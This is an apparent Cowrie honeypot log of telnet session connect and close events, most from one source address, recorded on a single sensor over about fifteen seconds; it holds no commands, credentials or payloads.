{"eventid":"cowrie.session.closed","duration":31.077956676483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.422719Z","src_ip":"152.53.125.71","session":"9f4d9603ebe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53754,"dst_ip":"10.17.0.5","dst_port":23,"session":"3049e4903142","protocol":"telnet","message":"New connection: 152.53.125.71:53754 (10.17.0.5:23) [session: 3049e4903142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.447713Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53766,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf3893c5e83","protocol":"telnet","message":"New connection: 152.53.125.71:53766 (10.17.0.5:23) [session: 4cf3893c5e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.519645Z"}
{"eventid":"cowrie.session.closed","duration":31.249518632888794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.598620Z","src_ip":"152.53.125.71","session":"9727cc0cf123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744563341140747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:49.221955Z","src_ip":"152.53.125.71","session":"0795f08790ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62331795692444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:49.326000Z","src_ip":"37.97.152.182","session":"5fffb9f6cdd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04698348045349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:49.359803Z","src_ip":"152.53.125.71","session":"18c805a7acb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86293888092041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:49.369743Z","src_ip":"152.53.125.71","session":"7e333ee90a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a42acf07f3","protocol":"telnet","message":"New connection: 152.53.125.71:53770 (10.17.0.5:23) [session: 09a42acf07f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:50.223815Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36070,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad96930c44e","protocol":"telnet","message":"New connection: 159.203.13.64:36070 (10.17.0.5:23) [session: bad96930c44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:50.299499Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53784,"dst_ip":"10.17.0.5","dst_port":23,"session":"85eb3196b156","protocol":"telnet","message":"New connection: 152.53.125.71:53784 (10.17.0.5:23) [session: 85eb3196b156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:50.513320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53790,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64d36741127","protocol":"telnet","message":"New connection: 152.53.125.71:53790 (10.17.0.5:23) [session: f64d36741127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:50.759121Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53806,"dst_ip":"10.17.0.5","dst_port":23,"session":"b048251fb2e0","protocol":"telnet","message":"New connection: 152.53.125.71:53806 (10.17.0.5:23) [session: b048251fb2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.260856Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"966a72d101b4","protocol":"telnet","message":"New connection: 152.53.125.71:53818 (10.17.0.5:23) [session: 966a72d101b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.268840Z"}
{"eventid":"cowrie.session.closed","duration":31.080236196517944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.303051Z","src_ip":"152.53.125.71","session":"07d1e507dc55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53688d4b09a","protocol":"telnet","message":"New connection: 152.53.125.71:53832 (10.17.0.5:23) [session: a53688d4b09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.354856Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53848,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b553c2b231a","protocol":"telnet","message":"New connection: 152.53.125.71:53848 (10.17.0.5:23) [session: 4b553c2b231a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.381886Z"}
{"eventid":"cowrie.session.closed","duration":31.009231090545654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:51.416854Z","src_ip":"152.53.125.71","session":"0a3ad497b964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53854,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e858e5be0d","protocol":"telnet","message":"New connection: 152.53.125.71:53854 (10.17.0.5:23) [session: e3e858e5be0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.250453Z"}
{"eventid":"cowrie.session.closed","duration":30.865915060043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.280687Z","src_ip":"152.53.125.71","session":"dfc9d2fca2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53862,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10c335d091d","protocol":"telnet","message":"New connection: 152.53.125.71:53862 (10.17.0.5:23) [session: e10c335d091d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.290657Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a4355ac465","protocol":"telnet","message":"New connection: 152.53.125.71:53864 (10.17.0.5:23) [session: b9a4355ac465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.348107Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53866,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce901d46b5e","protocol":"telnet","message":"New connection: 152.53.125.71:53866 (10.17.0.5:23) [session: bce901d46b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.397723Z"}
{"eventid":"cowrie.session.closed","duration":30.90530228614807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.402889Z","src_ip":"152.53.125.71","session":"11b237305eb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53882,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b0d1064374","protocol":"telnet","message":"New connection: 152.53.125.71:53882 (10.17.0.5:23) [session: 43b0d1064374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:52.443653Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba18f55227a3","protocol":"telnet","message":"New connection: 152.53.125.71:53898 (10.17.0.5:23) [session: ba18f55227a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:53.598335Z"}
{"eventid":"cowrie.session.closed","duration":43.049718618392944,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:53.975743Z","src_ip":"159.203.13.64","session":"fd96af134b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53906,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b96d6a9fa8f","protocol":"telnet","message":"New connection: 152.53.125.71:53906 (10.17.0.5:23) [session: 5b96d6a9fa8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:54.253426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53908,"dst_ip":"10.17.0.5","dst_port":23,"session":"b110aac4c9c9","protocol":"telnet","message":"New connection: 152.53.125.71:53908 (10.17.0.5:23) [session: b110aac4c9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:54.395913Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ca4b71f253","protocol":"telnet","message":"New connection: 152.53.125.71:44608 (10.17.0.5:23) [session: b4ca4b71f253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:55.423449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5455f90b84","protocol":"telnet","message":"New connection: 152.53.125.71:44622 (10.17.0.5:23) [session: 9a5455f90b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:56.255757Z"}
{"eventid":"cowrie.session.closed","duration":30.802472352981567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:56.273923Z","src_ip":"152.53.125.71","session":"909bb2aa2262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9016a3cbd84c","protocol":"telnet","message":"New connection: 152.53.125.71:44634 (10.17.0.5:23) [session: 9016a3cbd84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:56.455478Z"}
{"eventid":"cowrie.session.closed","duration":30.705650806427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.108403Z","src_ip":"152.53.125.71","session":"b17b58416ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83661937713623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.324565Z","src_ip":"152.53.125.71","session":"e4fafc491dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766975164413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.371124Z","src_ip":"152.53.125.71","session":"c0d83eafb08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80609130859375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.404805Z","src_ip":"152.53.125.71","session":"22c8c65c0afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842402935028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.410281Z","src_ip":"152.53.125.71","session":"bbcd7f0b5b96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04468822479248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.416190Z","src_ip":"152.53.125.71","session":"691c89d9a677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44648,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7dc6972d86","protocol":"telnet","message":"New connection: 152.53.125.71:44648 (10.17.0.5:23) [session: 0d7dc6972d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.452734Z"}
{"eventid":"cowrie.session.closed","duration":31.370441198349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.778435Z","src_ip":"152.53.125.71","session":"c26008bea648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47260093688965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.783143Z","src_ip":"152.53.125.71","session":"9421c699dcbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.568121433258057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:57.786602Z","src_ip":"152.53.125.71","session":"a889b8090898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933747053146362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.155739Z","src_ip":"152.53.125.71","session":"2cb17ac017ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001156091690063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.236798Z","src_ip":"152.53.125.71","session":"91d675b11837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69973349571228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.257663Z","src_ip":"152.53.125.71","session":"72300b6a0f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65904927253723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.277506Z","src_ip":"152.53.125.71","session":"5a9487948538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f06c8e4ad83","protocol":"telnet","message":"New connection: 152.53.125.71:44652 (10.17.0.5:23) [session: 3f06c8e4ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.282768Z"}
{"eventid":"cowrie.session.closed","duration":31.22708821296692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:58.559673Z","src_ip":"152.53.125.71","session":"8c911351a753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759459733963013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.168065Z","src_ip":"152.53.125.71","session":"3c97704a0dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680256843566895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.183559Z","src_ip":"152.53.125.71","session":"046477b0db33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718679428100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.198184Z","src_ip":"152.53.125.71","session":"cb2dc458eb59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93650794029236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.202626Z","src_ip":"152.53.125.71","session":"09821a27fb7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55306339263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.221613Z","src_ip":"152.53.125.71","session":"6ead56320b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02557635307312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.268603Z","src_ip":"152.53.125.71","session":"6c297c4c91dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44654,"dst_ip":"10.17.0.5","dst_port":23,"session":"878d6f901693","protocol":"telnet","message":"New connection: 152.53.125.71:44654 (10.17.0.5:23) [session: 878d6f901693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.301241Z"}
{"eventid":"cowrie.session.closed","duration":30.87245273590088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.315277Z","src_ip":"152.53.125.71","session":"a4d6d676d030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cce9dd794d","protocol":"telnet","message":"New connection: 152.53.125.71:44656 (10.17.0.5:23) [session: 58cce9dd794d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.320560Z"}
{"eventid":"cowrie.session.closed","duration":30.967663288116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.326766Z","src_ip":"152.53.125.71","session":"4152e82fc3ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25854206085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.412056Z","src_ip":"152.53.125.71","session":"c4e4b784923b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44670,"dst_ip":"10.17.0.5","dst_port":23,"session":"fffb1e1960e6","protocol":"telnet","message":"New connection: 152.53.125.71:44670 (10.17.0.5:23) [session: fffb1e1960e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.424821Z"}
{"eventid":"cowrie.session.closed","duration":31.315802097320557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:59.649323Z","src_ip":"152.53.125.71","session":"44115e2f88a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.090023040771484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:00.273809Z","src_ip":"159.203.13.64","session":"0aebfb56e914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845293760299683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:00.344319Z","src_ip":"152.53.125.71","session":"809c56a14a83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27332615852356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:00.385230Z","src_ip":"152.53.125.71","session":"146609c75bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"f039a63ec351","protocol":"telnet","message":"New connection: 152.53.125.71:44678 (10.17.0.5:23) [session: f039a63ec351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:00.434525Z"}
{"eventid":"cowrie.session.closed","duration":30.436716079711914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.116840Z","src_ip":"152.53.125.71","session":"d695f8662689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44680,"dst_ip":"10.17.0.5","dst_port":23,"session":"0580584269b2","protocol":"telnet","message":"New connection: 152.53.125.71:44680 (10.17.0.5:23) [session: 0580584269b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.242201Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7d1eacc2cd","protocol":"telnet","message":"New connection: 37.97.152.182:36232 (10.17.0.5:23) [session: 6e7d1eacc2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.266624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"58bb162ab315","protocol":"telnet","message":"New connection: 152.53.125.71:44688 (10.17.0.5:23) [session: 58bb162ab315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.467743Z"}
{"eventid":"cowrie.session.closed","duration":30.763267278671265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.495084Z","src_ip":"152.53.125.71","session":"b68271232e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44696,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ee55d018f2","protocol":"telnet","message":"New connection: 152.53.125.71:44696 (10.17.0.5:23) [session: 95ee55d018f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:01.525701Z"}
{"eventid":"cowrie.session.closed","duration":31.44924235343933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.039951Z","src_ip":"152.53.125.71","session":"8ce1dc951830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920071601867676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.154127Z","src_ip":"152.53.125.71","session":"451736cee57a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44698,"dst_ip":"10.17.0.5","dst_port":23,"session":"576f7f76fb2f","protocol":"telnet","message":"New connection: 152.53.125.71:44698 (10.17.0.5:23) [session: 576f7f76fb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.231109Z"}
{"eventid":"cowrie.session.closed","duration":31.024518489837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.344029Z","src_ip":"152.53.125.71","session":"d5e65752b767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44708,"dst_ip":"10.17.0.5","dst_port":23,"session":"e90789d873a5","protocol":"telnet","message":"New connection: 152.53.125.71:44708 (10.17.0.5:23) [session: e90789d873a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.365173Z"}
{"eventid":"cowrie.session.closed","duration":31.004234075546265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.370660Z","src_ip":"152.53.125.71","session":"1b1539a33e17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057106494903564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.386415Z","src_ip":"152.53.125.71","session":"e579a6204e60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44724,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a621388da27","protocol":"telnet","message":"New connection: 152.53.125.71:44724 (10.17.0.5:23) [session: 8a621388da27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.448838Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44732,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d7c461c1f9","protocol":"telnet","message":"New connection: 152.53.125.71:44732 (10.17.0.5:23) [session: e6d7c461c1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.591265Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44744,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d0b14219a8","protocol":"telnet","message":"New connection: 152.53.125.71:44744 (10.17.0.5:23) [session: 35d0b14219a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:02.627761Z"}
{"eventid":"cowrie.session.closed","duration":30.432143449783325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.064294Z","src_ip":"152.53.125.71","session":"d60e96fa2efa","protocol":"telnet"}
